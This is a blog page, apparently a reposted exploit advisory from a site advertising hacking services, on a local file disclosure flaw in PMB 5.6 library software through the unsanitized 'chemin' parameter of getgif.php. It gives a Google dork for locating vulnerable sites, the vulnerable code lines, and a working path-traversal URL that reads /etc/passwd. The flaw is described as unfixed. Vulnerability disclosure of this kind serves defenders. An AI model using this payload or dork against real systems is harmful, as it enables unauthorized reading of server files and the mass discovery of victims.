Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86372989

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PMB 5.6 - 'chemin' Local File Disclosure
# Date: 2020-10-13
# Google Dork: inurl:opac_css
# Exploit Author: 41-trk (Tarik Bakir)
# Vendor Homepage: http://www.sigb.net
# Software Link: http://forge.sigb.net/redmine/projects/pmb/files
# Affected versions : <= 5.6 
# Tested on: Ubuntu 18.04.1

The PMB Gif Image is not sanitizing the 'chemin',
which leads to Local File Disclosure.

As of today (2020-10-13) this issue is unfixed.

Vulnerable code: (getgif.php )

line 55    $fp2=@fopen($chemin, "rb");
line 68    fpassthru($fp)


========================= Proof-of-Concept ===================================================

    http://127.0.0.1:2121/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik